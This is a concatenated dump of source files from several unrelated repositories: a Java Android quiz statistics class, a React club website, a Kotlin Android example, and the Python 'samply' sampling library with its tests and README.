statistics = mStatisticsDataSource.findByCategoryAndUser(mCategoryId, mUser);
switch (type) {
case TYPE_MOST_PLAYED:
//Do nothing
break;
case TYPE_MOST_FAILED:
statistics = removeSucceeded(statistics);
break;
case TYPE_MOST_SUCCEEDED:
statistics = removeFailed(statistics);
break;
default:
//Unexpected type: return null
return null;
}
//Add entries
shownChallenges.addAll(getMost(entries, labels, statistics, NUMBER_PLAYED_LISTED));
if (entries.size() > 1) {
//Create dataset
PieDataSet dataset = new PieDataSet(entries, "");
mSettings.applyDataSetSettings(dataset, type);
//Create data
PieData data = new PieData(labels, dataset);
mSettings.applyDataSettings(data);
//Return the PieData object
return data;
} else {
return null;
}
}
/**
* Returns a list which contains the failed Statistic objects of the given statistics list
*
* @param statistics the list of statistics objects which will be evaluated
* @return list of failed Statistic objects
*/
private List<Statistics> removeSucceeded(List<Statistics> statistics) {
List<Statistics> result = new ArrayList<>();
for (Statistics statistic : statistics) {
//Add only failed challenges to the result
if (!statistic.getSucceeded()) result.add(statistic);
}
return result;
}
/**
* Returns a list which contains the succeeded Statistic objects of the given statistics list
*
* @param statistics the list of statistics objects which will be evaluated
* @return list of succeeded Statistic objects
*/
private List<Statistics> removeFailed(List<Statistics> statistics) {
List<Statistics> result = new ArrayList<>();
for (Statistics statistic : statistics) {
//Add only succeeded challenges to the result
if (statistic.getSucceeded()) result.add(statistic);
}
return result;
}
/**
* Returns a list with the challenges which occur most often in the statistics list. The
* numberPlayedListed parameter defines how many entries will be added. Additionally Entry
* objects and labels are created and added to the entries and labels List objects
*
* @param entries the entry list the created Entry objects are added to
* @param labels the label list the created label strings are added to
* @param statistics the list of statistics objects which will be evaluated
* @param numberPlayedListed the number of challenges to be added to the shownChallenges list
* @return list of shown challenges
*/
private List<Long> getMost(ArrayList<Entry> entries, ArrayList<String> labels,
List<Statistics> statistics, int numberPlayedListed) {
//Create a List object for storing the ids of the shown challenges
List<Long> shownChallenges = new ArrayList<>();
//Create List objects for storing challenge ids and the numbers how often they were played
List<Long> ids = new ArrayList<>();
List<Integer> amounts = new ArrayList<>();
//Add the challenge ids to the corresponding list and count the occurences in the other one
for (Statistics statistic : statistics) {
Long challengeId = statistic.getChallengeId();
if (ids.contains(challengeId)) {
int index = ids.indexOf(challengeId);
Integer amount = amounts.get(index);
amounts.set(index, amount + 1);
} else {
ids.add(challengeId);
amounts.add(1);
}
}
//Add the challenges to the shownChallenges list which occur most often
if (ids.size() > 0) {
for (int i = 0; i < numberPlayedListed; i++) {
int indexMax = 0;
//Find the challenge with the most occurences
for (Long id : ids) {
int index = ids.indexOf(id);
if (amounts.get(index) > amounts.get(indexMax)) {
indexMax = index;
}
}
if (amounts.get(indexMax) == 0) break;
//Create an entry and add it to the corresponding list
entries.add(new Entry(amounts.get(indexMax), i));
labels.add("");
//Add the challenge id to the list of shown challenges
shownChallenges.add(ids.get(indexMax));
//Set the count of the added challenge id to 0
amounts.set(indexMax, 0);
}
}
//Return the list of shown challenges
return shownChallenges;
}
/**
* Creates a value which is an irrational number and about 0.63% of the given total value
*
* @param totalValue the total value of items in the pie chart
* @return an irrational number of about 0.63% of the total number
*/
private float nullValue(float totalValue) {
return (float) (totalValue * 0.002 * Math.PI);
}
}<file_sep>package in.uscool.androidquiz.logic.statistics;
/**
* Created by <NAME> on 12/03/2016.
* <p/>
* Enumeration for the different statistic types
*/
public enum StatisticType {
TYPE_DUE,
TYPE_STAGE,
TYPE_MOST_PLAYED,
TYPE_MOST_FAILED,
TYPE_MOST_SUCCEEDED
} | d7d1601e39ef8a08d737dffa3a61abbd643fc4a2 | [
"Java"
] | 27 | Java | andy1729/AndroidQuiz | 8f29b7fd668f1d5fdbe7f6f794c4251c9c8450e0 | 67eb9375ea52ff86f8c77e8e463b425d460e3f52 |
refs/heads/main | <file_sep>import Before from "./Components/Before"
import { Subnav } from "./Components/Subnav";
import { BrowserRouter as Router, Route, Switch } from 'react-router-dom';
import After from "./Components/After"
import Design from "./Components/verticals/design/Design";
import Woman_Empowerment from "./Components/verticals/woman_empowerment/Woman_Empowerment";
import Web_Development from "./Components/verticals/web_development/Web_Development";
import Editorial from "./Components/verticals/editorial/Editorial";
import Photography_and_Videography from "./Components/verticals/photography_and_videography/Photography_and_Videography";
function App() {
return (
<div >
<Before/>
<Router>
<Subnav />
<Switch>
<Route exact path="/verticals/woman_empowerment/Women_Empowerment" component={Woman_Empowerment} />
<Route exact path="/verticals/design/Design" component={Design} />
<Route exact path="/verticals/web_development/Web_Development" component={Web_Development} />
<Route exact path="/verticals/editorial/Editorial" component={Editorial} />
<Route exact path="/verticals/photography_and_videography/Photography_and_Videography" component={Photography_and_Videography} />
<Route component={Woman_Empowerment}/>
</Switch>
</Router>
<After/>
</div>
);
}
export default App;
//npm install react-slick --save
//npm install slick-carousel (this is for slick-carousel for css and font)<file_sep>import React from 'react'
import image from '../images/image.png'
import Before_css from './Before.module.css'
const Before = () => {
return (
<div>
<div className={Before_css.top}>
<div className={Before_css.text}>
<h1 className={Before_css.Heading} >Allied Works</h1>
The Allied Works of NSS IIT Roorkee is a crucial part of the organization. This collaboration primarily came in effect to manage the Public Relations of the group. Allied Works consists mainly of 4 distinct units which are Editorial, Web Development, Photography and Design, each of which work together to spread information to the public.
</div>
<div >
<img className={Before_css.image_ally} src={image}/>
</div>
</div>
</div>
)
}
export default Before<file_sep>import React from 'react'
const Editorial = () => {
return (
<div>
</div>
)
}
export default Editorial
<file_sep>import React from 'react'
const Web_Development = () => {
return (
<div>
</div>
)
}
export default Web_Development
<file_sep>import React from 'react'
import './Design.css'
import image_1 from '../../../images/image_1.png'
const Design = () => {
return (
<div className="design_head">
<h1>Design Cell</h1>
<div className="design_text">
<div>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Pellentesque vitae libero et nibh tincidunt elementum vitae eget dui</p><br/>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
<ul>
<li>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Lorem ipsum dolor sit amet, consectetur adipiscing elit.</li>
<li>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Lorem ipsum dolor sit amet, consectetur adipiscing elit.</li>
<li>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Lorem ipsum dolor sit amet, consectetur adipiscing elit.</li>
<li>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Lorem ipsum dolor sit amet, consectetur adipiscing elit.</li>
</ul>
<div>
The Allied Works of NSS IIT Roorkee is a crucial part of the organization. This collaboration primarily came in effect to manage the Public Relations of the group.
</div>
</div>
<img className="image_ally" src={image_1}/>
</div>
</div>
)
}
export default Design
<file_sep>import React from 'react'
const Woman_Empowerment = () => {
return (
<div>
Empowering
</div>
)
}
export default Woman_Empowerment
| cf48bc5d129247a38ae2d75015277b733551171c | [
"JavaScript"
] | 6 | JavaScript | devsri01/WEBSITE | 08f146b8410ecbda86a1a8ae3d4877fe9988136b | 8d03e786c43c133ca0f327683102d27a68e12c40 |
refs/heads/master | <file_sep># kotlin-android-app
Example how to create android application using kotlin programming language
------
# Code ScreenShot

------
# Youtube Video
[](https://www.youtube.com/watch?v=hRSG96yFwuE)
------
# References
* [Getting started with Android and Kotlin](http://kotlinlang.org/docs/tutorials/android-plugin.html)
------
# Developer contact
* [Facebook](https://www.facebook.com/profile.php?id=100006656534009)
* [Twitter](https://twitter.com/salahamassi)
<file_sep>package com.salah.myapplication
import android.os.Bundle
import android.support.v7.app.AppCompatActivity
import android.widget.Toast
import kotlinx.android.synthetic.main.activity_main.*
/**
* Created by salahamassi on 5/20/17.
*/
class MainActivity : AppCompatActivity(){
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
setValues(value = getString(R.string.salah))
}
private fun setValues(value : String){
textView.text = value
imageView.setImageResource(R.drawable.salah)
}
override fun onStart() {
super.onStart()
Toast.makeText(this,getText(R.string.onStart),Toast.LENGTH_LONG).show()
}
override fun onResume() {
super.onResume()
Toast.makeText(this,getText(R.string.onResume),Toast.LENGTH_LONG).show()
}
override fun onPause() {
super.onPause()
Toast.makeText(this,getText(R.string.onPause),Toast.LENGTH_LONG).show()
}
override fun onDestroy() {
super.onDestroy()
Toast.makeText(this,getText(R.string.onDestroy),Toast.LENGTH_LONG).show()
}
}
| d6f61702e1a7e93c2712f259b40ef20a50cfff7f | [
"Markdown",
"Kotlin"
] | 2 | Markdown | salahamassi/kotlin-android-app | b86c24d19af42a5a12ae192b5d8a17eb1d8d59d4 | fcd5edd736d4c897b2d3fb1b4fd9ef457ecd0a53 |
refs/heads/main | <file_sep>""" This module will test the functionality of samply.BallSampler
"""
import unittest
import numpy as np
import samply
class TestHypercubeSampler(unittest.TestCase):
"""Class for testing the Ball sampler"""
def setup(self):
""" """
self.tolerance = 1e-1
self.N = 10
self.D = 2
def test_concentric_shells(self):
""" """
self.setup()
samples = samply.shape.concentric_shells(self.N, self.D)
self.assertEqual(self.N, samples.shape[0])
self.assertEqual(self.D, samples.shape[1])
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
def test_cross(self):
""" """
self.setup()
samples = samply.shape.cross(self.N, self.D)
self.assertEqual(self.N, samples.shape[0])
self.assertEqual(self.D, samples.shape[1])
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
def test_curve(self):
""" """
self.setup()
samples = samply.shape.curve(self.N, self.D)
self.assertEqual(self.N, samples.shape[0])
self.assertEqual(self.D, samples.shape[1])
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
def test_shell(self):
""" """
self.setup()
samples = samply.shape.shell(self.N, self.D)
self.assertEqual(self.N, samples.shape[0])
self.assertEqual(self.D, samples.shape[1])
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
def test_stripes(self):
""" """
self.setup()
samples = samply.shape.stripes(self.N, self.D)
self.assertEqual(self.N, samples.shape[0])
self.assertEqual(self.D, samples.shape[1])
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
if __name__ == "__main__":
unittest.main()
<file_sep>.. include:: ../README.rst
:start-after: install
:end-before: end-install<file_sep>""" This module will test the functionality of samply.SubspaceSampler
"""
import math
import unittest
import numpy as np
import samply
class TestSubspaceSampler(unittest.TestCase):
"""Class for testing the Subspace sampler"""
def setup(self):
""" """
pass
def test_invalid(self):
""" """
try:
samply.subspace.orthogonal_ball([1], 1)
self.assertEqual(True, False, "A ValueError should be raised.")
except ValueError as err:
self.assertEqual("Could not construct valid subspace.", str(err))
def test_2D_x(self):
""" """
samples = samply.subspace.orthogonal_ball([1, 0], 1000)
zero = np.unique(samples[:, 0])
msg = "Samples drawn orthogonal to x-axis should have x=0"
self.assertEqual(zero[0], 0, msg)
samples = samply.subspace.orthogonal_directional([1, 0], 100)
zero = np.unique(samples[:, 0])
msg = "Samples drawn orthogonal to x-axis should have x=0"
self.assertEqual(zero[0], 0, msg)
msg = "There are only 2 directions orthogonal to (1,0)"
self.assertEqual(len(samples), 2, msg)
self.assertEqual(samples[0, 1], -1)
self.assertEqual(samples[1, 1], 1)
def test_2D_y(self):
""" """
samples = samply.subspace.orthogonal_directional([0, 1], 1000)
zero = np.unique(samples[:, 1])
msg = "Samples drawn orthogonal to y-axis should have y=0"
self.assertEqual(zero[0], 0, msg)
msg = "There are only 2 directions orthogonal to (0,1)"
self.assertEqual(len(samples), 2, msg)
self.assertEqual(samples[0, 0], 1)
self.assertEqual(samples[1, 0], -1)
def test_grassmannian(self):
self.setup()
samples = samply.subspace.grassmannian(10, 3, 2)
for basis in samples:
zero = math.fabs(basis[:, 0].dot(basis[:, 1]))
msg = "Basis is not orthogonal"
self.assertLessEqual(zero, 1e-15, msg)
if __name__ == "__main__":
unittest.main()
<file_sep>"""
Setup script for samply
"""
from setuptools import setup
def long_description():
"""Reads the README.rst file and extracts the portion tagged between
specific LONG_DESCRIPTION comment lines.
"""
description = ""
recording = False
with open("README.rst") as f:
for line in f:
if "END_LONG_DESCRIPTION" in line:
return description
elif "LONG_DESCRIPTION" in line:
recording = True
continue
if recording:
description += line
# Consult here: https://packaging.python.org/tutorials/distributing-packages/
setup(
name="samply",
packages=["samply"],
description="A library for computing samplings in arbitrary dimensions",
long_description=long_description(),
test_suite="samply.tests",
)
<file_sep>""" This module will test the functionality of samply.BallSampler
"""
import unittest
import numpy as np
from sklearn import neighbors
import samply
class TestHypercubeSampler(unittest.TestCase):
"""Class for testing the Ball sampler"""
def setup(self):
""" """
self.tolerance = 1e-1
def n_dimension_cvt_validation(self, n_samples, n_validation, D):
points = samply.hypercube.cvt(n_samples, D, verbose=False)
query_points = samply.hypercube.uniform(n_validation, D)
nn = neighbors.NearestNeighbors(n_neighbors=1)
nn.fit(points)
sites = nn.kneighbors(query_points, return_distance=False)
N = points.shape[0]
D = points.shape[1]
counts = np.zeros(N)
coms = np.zeros((N, D))
for i, pt in zip(sites, query_points):
counts[i] += 1
coms[i] += pt
coms /= counts[:, None]
max_error = np.max(np.linalg.norm(points - coms, axis=1))
self.assertLessEqual(
max_error,
self.tolerance,
"Error ({}) exceeds tolerance {}".format(max_error, self.tolerance),
)
def test_cvt_verbosity(self):
""" """
samples = samply.hypercube.cvt(10, 2, verbose=True)
self.assertEqual(10, samples.shape[0])
self.assertEqual(2, samples.shape[1])
def test_2D_cvt_small(self):
""" """
self.setup()
np.random.seed(0)
self.n_dimension_cvt_validation(10, 100000, 2)
def test_2D_cvt_moderate(self):
""" """
self.setup()
np.random.seed(0)
self.n_dimension_cvt_validation(1000, 100000, 2)
def test_3D_cvt_moderate(self):
""" """
self.setup()
np.random.seed(0)
self.n_dimension_cvt_validation(1000, 100000, 3)
def test_lhs(self):
""" """
self.setup()
np.random.seed(0)
samples = samply.hypercube.lhs(10, 2)
self.assertEqual(10, samples.shape[0])
self.assertEqual(2, samples.shape[1])
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
def test_halton(self):
""" """
self.setup()
np.random.seed(0)
samples = samply.hypercube.halton(10, 2)
self.assertEqual(10, samples.shape[0])
self.assertEqual(2, samples.shape[1])
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
def test_grid(self):
""" """
self.setup()
D = 2
N = 10**D
samples = samply.hypercube.grid(N, D)
self.assertEqual(N, samples.shape[0])
self.assertEqual(D, samples.shape[1])
for i in range(D):
self.assertEqual(samples[0, i], 0.0)
self.assertEqual(samples[-1, i], 1.0)
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
def test_normal(self):
""" """
self.setup()
N = 100000
D = 2
np.random.seed(0)
samples = samply.hypercube.normal(N, D)
self.assertEqual(N, samples.shape[0])
self.assertEqual(D, samples.shape[1])
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
means = np.fabs(np.mean(samples, axis=0) - 0.5)
stds = np.fabs(np.std(samples, axis=0) - 0.15)
for mu, sigma in zip(means, stds):
self.assertLessEqual(mu, 1e-3)
self.assertLessEqual(sigma, 1e-3)
def test_multimodal(self):
""" """
self.setup()
np.random.seed(0)
samples = samply.hypercube.multimodal(10, 2)
self.assertEqual(10, samples.shape[0])
self.assertEqual(2, samples.shape[1])
self.assertGreaterEqual(np.min(samples), 0)
self.assertLessEqual(np.max(samples), 1)
if __name__ == "__main__":
unittest.main()
<file_sep>import ghalton
import numpy as np
import pyDOE
from sklearn import neighbors
def uniform(count=1, dimensionality=2):
return np.random.uniform(size=(count, dimensionality))
def grid(count=1, dimensionality=2):
numPoints = np.ceil(count ** (1.0 / dimensionality)).astype("int")
temp = np.meshgrid(
*[np.linspace(0, 1, numPoints)[:] for i in range(dimensionality)]
)
return np.vstack(map(np.ravel, temp)).T[:count]
def normal(count=1, dimensionality=2):
return np.clip(
np.random.normal(loc=0.5, scale=0.15, size=(count, dimensionality)),
0,
1,
)
def cvt(
count=1,
dimensionality=2,
max_iterations=1000000,
epsilon=1e-6,
verbose=False,
update_size=10000,
):
points = np.random.uniform(0, 1, size=(count, dimensionality))
nn = neighbors.NearestNeighbors(n_neighbors=1)
nn.fit(points)
ji = np.ones(count)
error = np.ones(count)
maxErrorId = -1
maxError = 0.0
query_points = np.random.uniform(0, 1, size=(update_size, dimensionality))
sites = nn.kneighbors(query_points, return_distance=False)
for i in range(max_iterations):
if verbose and i % update_size == 0 and i > 0:
print("Iter {} err = {}".format(i, np.sqrt(maxError)))
p = query_points[i % update_size]
closest = sites[i % update_size]
px = np.array(points[closest])
points[closest] = (ji[closest] * px + p) / (ji[closest] + 1)
sumdiff = np.sum(px - points[closest]) ** 2
if i % update_size == 0:
nn.fit(points)
query_points = np.random.uniform(0, 1, size=(update_size, dimensionality))
sites = nn.kneighbors(query_points, return_distance=False)
ji[closest] = ji[closest] + 1
if epsilon > 0:
error[closest] = sumdiff
# Approximation of the max error without the need to
# traverse all of the points
if maxErrorId == closest:
maxError = error[closest]
elif error[closest] > maxError:
maxErrorId = closest
maxError = error[closest]
if maxError < epsilon**2:
if verbose:
print("Converged at {} err = {}".format(i, np.sqrt(maxError)))
break
if verbose:
nn = neighbors.NearestNeighbors(n_neighbors=2)
nn.fit(points)
distances, _ = nn.kneighbors(points, return_distance=True)
maximinDist = np.max(distances[:, 1])
print("maximin distance = {}".format(maximinDist))
return points
def lhs(count=1, dimensionality=2):
return pyDOE.lhs(dimensionality, count)
def halton(count=1, dimensionality=2, seed=0):
sequencer = ghalton.GeneralizedHalton(dimensionality, seed)
return np.array(sequencer.get(count))
# def distinct_mixture(count, dimensionality):
# a = np.random.choice(a=[0, 1, 2], size=count)
# cov = 0.00125 * np.eye(dimensionality)
# means = []
# means.append(0.25 * np.ones(dimensionality))
# means.append(0.5 * np.ones(dimensionality))
# means.append(0.75 * np.ones(dimensionality))
# covs = [0.00125 * np.eye(dimensionality)]*3
# # Set every other dimension to 0.25
# mean[1::2] = 0.25
# X[mask] = np.clip(
# np.random.multivariate_normal(mean, cov, size=len(mask)), 0, 1
# )
# return X
def multimodal(count, dimensionality, means=None, covariances=None):
""" """
if means is None:
means = []
means.append(0.5 * np.ones(dimensionality))
means.append(2.0 / 3.0 * np.ones(dimensionality))
means.append(1.0 / 3.0 * np.ones(dimensionality))
if covariances is None:
covariances = []
covariances.append(0.0125 * np.eye(dimensionality))
covariances.append(0.001 * np.eye(dimensionality))
covariances.append(0.001 * np.eye(dimensionality))
X = np.zeros((count, dimensionality))
a = np.random.choice(a=range(len(means)), size=count)
for i in range(len(means)):
mean = means[i]
cov = covariances[i]
mask = np.where(a == i)[0]
X[mask] = np.clip(
np.random.multivariate_normal(mean, cov, size=len(mask)), 0, 1
)
return X
<file_sep>=======
samply
=======
.. badges
.. image:: https://img.shields.io/pypi/v/samply.svg
:target: https://pypi.python.org/pypi/samply
:alt: Latest Version on PyPI
.. image:: https://img.shields.io/pypi/dm/samply.svg?label=PyPI%20downloads
:target: https://pypi.org/project/samply/
:alt: PyPI downloads
.. image:: https://github.com/maljovec/samply/actions/workflows/quality.yaml/badge.svg?branch=main
:target: https://github.com/maljovec/samply/actions
:alt: Code Quality Test Results
.. image:: https://github.com/maljovec/samply/actions/workflows/test.yaml/badge.svg?branch=main
:target: https://github.com/maljovec/samply/actions
:alt: Test Suite Results
.. image:: https://www.codefactor.io/repository/github/maljovec/samply/badge
:target: https://www.codefactor.io/repository/github/maljovec/samply
:alt: CodeFactor
.. image:: https://coveralls.io/repos/github/maljovec/samply/badge.svg?branch=main
:target: https://coveralls.io/github/maljovec/samply?branch=main
:alt: Coveralls
.. image:: https://readthedocs.org/projects/samply/badge/?version=latest
:target: https://samply.readthedocs.io/en/latest/?badge=latest
:alt: ReadTheDocs
.. image:: https://pyup.io/repos/github/maljovec/samply/shield.svg
:target: https://pyup.io/repos/github/maljovec/samply/
:alt: Pyup
.. image:: https://img.shields.io/badge/code%20style-black-000000.svg
:target: https://github.com/psf/black
:alt: This code is formatted in black
.. image:: https://img.shields.io/badge/%20imports-isort-%231674b1?style=flat&labelColor=ef8336
:target: https://pycqa.github.io/isort/
:alt: This code has its imports sorted with isort
.. image:: https://img.shields.io/badge/License-BSD_3--Clause-blue.svg
:target: https://opensource.org/licenses/BSD-3-Clause
:alt: BSD 3-Clause License
.. end_badges
.. logo
.. .. image:: docs/_static/samply.svg
.. :align: center
.. :alt: samply
.. end_logo
.. introduction
A Python library for generating space-filling sample sets of low to moderate
dimensional data from domains including:
* Euclidean space
* Grassmannian atlas
* Surface of an n-Sphere
.. LONG_DESCRIPTION
A Collection of Space-filling Sampling Designs for Arbitrary Dimensions.
The API is structured such that the top level packages represent the shape
of the domain you are interested in:
* ball - The n-dimensional solid unit ball
* directional - The space of unit length directions in n-dimensional space. You can also consider this a sampling of the boundary of the n-dimensional unit ball.
* hypercube - The n-dimensional solid unit hypercube :math:`x \\in [0,1]^n`.
* subspace - Sampling a n-1-dimensional subspace orthogonal to a unit vector or sampling the Grassmanian Atlas of projections from a dimension n to a lower dimension m.
* shape - a collection of (n-1)-manifold and non-manifold shapes embedded in an n dimensional space. For now these must all be sampled using a uniform distribution.
Within each module is a list of ways to fill the space of the samples.
Note, that not all of the methods listed below are applicable to the modules
listed above. They include:
* Uniform - a random, uniform distribution of points (available for ball, directional, hypercube, subspace, and shape)
* Normal - a Gaussian distribution of points (available for hypercube)
* Multimodal - a mixture of Gaussian distributions of points (available for hypercube)
* CVT - an approximate centroidal Voronoi tessellation of the points constrained to the given space (available for hypercube and directional)
* LHS - a Latin hypercube sampling design of points constrained to the space (available for hypercube)
The python CVT code is adapted from a C++ implementation provided by
<NAME>. The Grassmannian sampler is adapted from code from Shusen
Liu.
.. END_LONG_DESCRIPTION
.. end_introduction
.. install
Installation
============
A preliminary version is available on PyPI::
pip install samply
Otherwise, you can download the repository for the most cutting edge additions::
git clone https://github.com/maljovec/samply.git
cd samply
python setup.py [build|develop|install]
.. end-install
.. usage
Usage
=====
You can use the library from python such as the examples below::
import samply
direction_samples = samply.directional.uniform(10000, 2)
ball_samples = samply.ball.uniform(10000, 2)
scvt_samples = samply.directional.cvt(10000, 2)
cvt_samples = samply.hypercube.cvt(10000, 2)
projection_samples = samply.subspace.grassmannian(10000, 3, 2)
The ``*samples`` variables will be NxD matrices where N is the number of samples requested and D is the dimensionality of the sampler or the requested dimensionality.
.. end-usage
.. testing
Testing
=======
The test suite can be run through the setup script::
python setup.py test
.. end-testing
.. example
Example
=======
To test drive a subset of the different samplers in action, check out this little `web app <https://samply.appspot.com/>`_ hosted on the Google Cloud Platform which is using samply under the covers. Note, the CVT is still rather inefficient for larger sample sizes.
.. end-example
.. todo
What's Next
===========
Forthcoming:
* Improved documentation
.. end-todo
<file_sep>import numpy as np
from samply import ball, directional
def orthogonalize(vectors):
"""
This is a more stable version of the gram_schmidt function that
instead uses the QR factorization to construct a set of
orthonormal vectors where the first row is the same as that
given by the first row of the input vectors. Thus, the remaining
rows define a subspace that is orthogonal to the desired vector.
"""
A = np.array(vectors).T
Q, R = np.linalg.qr(A)
return Q.T
def grassmannian(count=1, data_dimensionality=2, target_dimensionality=2):
""" """
basis = np.zeros((data_dimensionality, target_dimensionality))
basis[0, 0] = 1
basis[1, 1] = 1
samples = []
# Using Shusen's notation from:
# http://www.sci.utah.edu/~shusenl/publications/EuroVis-Grassmannian.pdf
# (Section 3.1 Uniform Sampling)
for _ in range(count):
S = np.random.randn(data_dimensionality, data_dimensionality)
Q, R = np.linalg.qr(S)
# T = np.dot(Q,(np.diag(np.sign(np.diag(R)))))
# Shorthand: we can exploit numpy's default broadcast
# multiplication behavior to cut off a few cycles.
T = Q * np.sign(np.diag(R))
# I have no idea why this works, but Shusen's code also does it.
# His explanation says something completely different, but maybe he
# changed his mind? I would really like this to be more clear.
# Why does flipping the sign of an arbitrary column ensure this?
if np.linalg.det(T) < 0:
cols = T.shape[1]
T[:, int(cols / 2)] = -T[:, int(cols / 2)]
samples.append(np.dot(Q, basis))
return samples
def orthogonal_ball(vector, count=1):
""" """
dimensionality = len(vector)
subspace_basis = []
if vector[-1] != 0:
identity = np.eye(dimensionality - 1, dimensionality)
else:
idx = np.nonzero(vector)[0]
identity = np.eye(dimensionality, dimensionality)
identity = np.delete(identity, idx, axis=0)
vectors = np.vstack((vector, identity))
subspace_basis = orthogonalize(vectors)[1:]
if len(subspace_basis) == 0:
raise ValueError("Could not construct valid subspace.")
pseudoSamples = ball.uniform(count, dimensionality - 1)
# In case the sampler overrides the user's count, make sure this is
# the size of pseudoSamples, since the case where D=1 and the sampler
# is directional, we only have two options (backward and forward)
samples = np.zeros((len(pseudoSamples), dimensionality))
for i, Xi in enumerate(pseudoSamples):
samples[i, :] = np.dot(Xi, subspace_basis)
return samples
def orthogonal_directional(vector, count=1):
""" """
dimensionality = len(vector)
subspace_basis = []
if vector[-1] != 0:
identity = np.eye(dimensionality - 1, dimensionality)
else:
idx = np.nonzero(vector)[0]
identity = np.eye(dimensionality, dimensionality)
identity = np.delete(identity, idx, axis=0)
vectors = np.vstack((vector, identity))
subspace_basis = orthogonalize(vectors)[1:]
if len(subspace_basis) == 0:
raise ValueError("Could not construct valid subspace.")
pseudoSamples = directional.uniform(count, dimensionality - 1)
# In case the sampler overrides the user's count, make sure this is
# the size of pseudoSamples, since the case where D=1 and the sampler
# is directional, we only have two options (backward and forward)
samples = np.zeros((len(pseudoSamples), dimensionality))
for i, Xi in enumerate(pseudoSamples):
samples[i, :] = np.dot(Xi, subspace_basis)
return samples
<file_sep>""" This module will test the functionality of samply.nullspace
"""
import unittest
import numpy as np
import samply
class TestNullspace(unittest.TestCase):
"""Class for testing the nullspace function"""
def setup(self):
""" """
pass
def test_nullspace(self):
""" """
self.setup()
A = np.array([[1, 0, 0], [0, 1, 0]])
ns = samply.nullspace(A)
zero = np.max(np.fabs(np.dot(A, ns)))
self.assertLessEqual(zero, 1e-15)
if __name__ == "__main__":
unittest.main()
<file_sep>import samply.ball
import samply.directional
import samply.hypercube
import samply.shape
import samply.subspace # noqa: F401
from .nullspace import nullspace
__all__ = ["ball", "directional", "hypercube", "shape", "subspace", "nullspace"]
__version__ = "0.0.2"
<file_sep>import numpy as np
import samply.directional
# TODO: Decouple all of these shapes from the underlying uniform distribution.
# For some of these, this means do a D-1 distribution of points and then
# mapping it into these shapes. e.g., the S curve in 2D could be generated
# from a CVT sampling in 1D and then adding the noise to make the manifold...
# I don't think this is right or generalizable.
def shell(count=1, dimensionality=2):
directions = samply.directional.uniform(count, dimensionality)
r = np.random.uniform(low=0.5, high=1, size=(count, 1))
X = ((r * directions) + 1) / 2.0
return X
def concentric_shells(count=1, dimensionality=2, levels=2, gap_ratio=0.4):
a = np.random.choice(a=range(levels), size=count)
width = 1 / (levels * (gap_ratio + 1))
gap = width * gap_ratio
low = gap
r = np.zeros((count, 1))
for i in range(levels):
high = low + width
mask = np.where(a == i)[0]
r[mask] = np.random.uniform(low=low, high=high, size=(len(mask), 1))
low = high + gap
directions = samply.directional.uniform(count, dimensionality)
X = ((r * directions) + 1) / 2.0
return X
def cross(count=1, dimensionality=2):
sgn = np.random.choice(a=[False, True], size=(count, dimensionality - 1))
low = 0.2
high = 0.8
x = np.random.uniform(low=low, high=high, size=(count, 1))
y = x + np.random.uniform(low=-0.1, high=0.1, size=(count, dimensionality - 1))
y[sgn] = 1 - y[sgn]
X = np.hstack((x, y))
return X
def curve(count=1, dimensionality=2):
low = 0.05
high = 0.95
x = np.random.uniform(low=low, high=high, size=(count, 1))
y = (
x
+ 0.5 * np.sin(2 * np.pi * x)
+ np.random.uniform(low=-0.1, high=0.1, size=(count, dimensionality - 1))
)
X = np.hstack((x, y))
return X
def stripes(count=1, dimensionality=2):
b = np.random.choice(a=[-0.5, 0.0, 0.5], size=(count, 1))
low = 0.0
high = 0.5
x = np.random.uniform(low=low, high=high, size=(count, 1))
mask = np.where(b < 0)[0]
low = 0.6
high = 0.8
x[mask] = np.random.uniform(low=low, high=high, size=(len(mask), 1))
mask = np.where(b > 0)[0]
low = 0.2
high = 0.5
x[mask] = np.random.uniform(low=low, high=high, size=(len(mask), 1))
eps = np.random.uniform(low=-0.05, high=0.05, size=(count, dimensionality - 1))
y = np.clip(x + eps + b, 0, 1)
X = np.hstack((x, y))
return X
<file_sep>""" This module will test the functionality of samply.DirectionalSampler
"""
import math
import unittest
import numpy as np
from scipy.stats import kstest, uniform
from sklearn import neighbors
import samply
class TestDirectionalSampler(unittest.TestCase):
"""Class for testing the Directional sampler"""
def setup(self):
""" """
self.tolerance = 1e-1
def test_1D_uniform(self):
""" """
samples = samply.directional.uniform(10000, 1)
msg = "There should only be 2 samples available for the 1D case."
self.assertEqual(len(samples), 2, msg)
self.assertEqual(samples[0, 0], -1)
self.assertEqual(samples[1, 0], 1)
def test_2D_uniform(self):
""" """
samples = samply.directional.uniform(10000, 2)
norms = np.linalg.norm(samples, axis=1)
deltas = np.fabs(norms - 1.0)
msg = "At least one sample does not represent a unit vector"
self.assertLessEqual(np.max(deltas), 1e-6, msg)
thetas = np.arctan2(samples[:, 1], samples[:, 0])
thetas /= 2 * math.pi
thetas += 0.5
p = kstest(thetas, uniform.cdf)[1]
msg = (
"The angles are not representative of a uniform distribution (p={})".format(
p
)
)
self.assertGreaterEqual(p, 0.05, msg)
def test_2D_cvt(self):
""" """
self.setup()
n_samples = 20
n_validation = 100000
D = 2
points = samply.directional.cvt(n_samples, D, verbose=True)
deltas = np.fabs(np.linalg.norm(points, axis=1) - 1)
msg = "A generated point does not lie on the sphere"
self.assertLessEqual(np.max(deltas), 1e-6, msg)
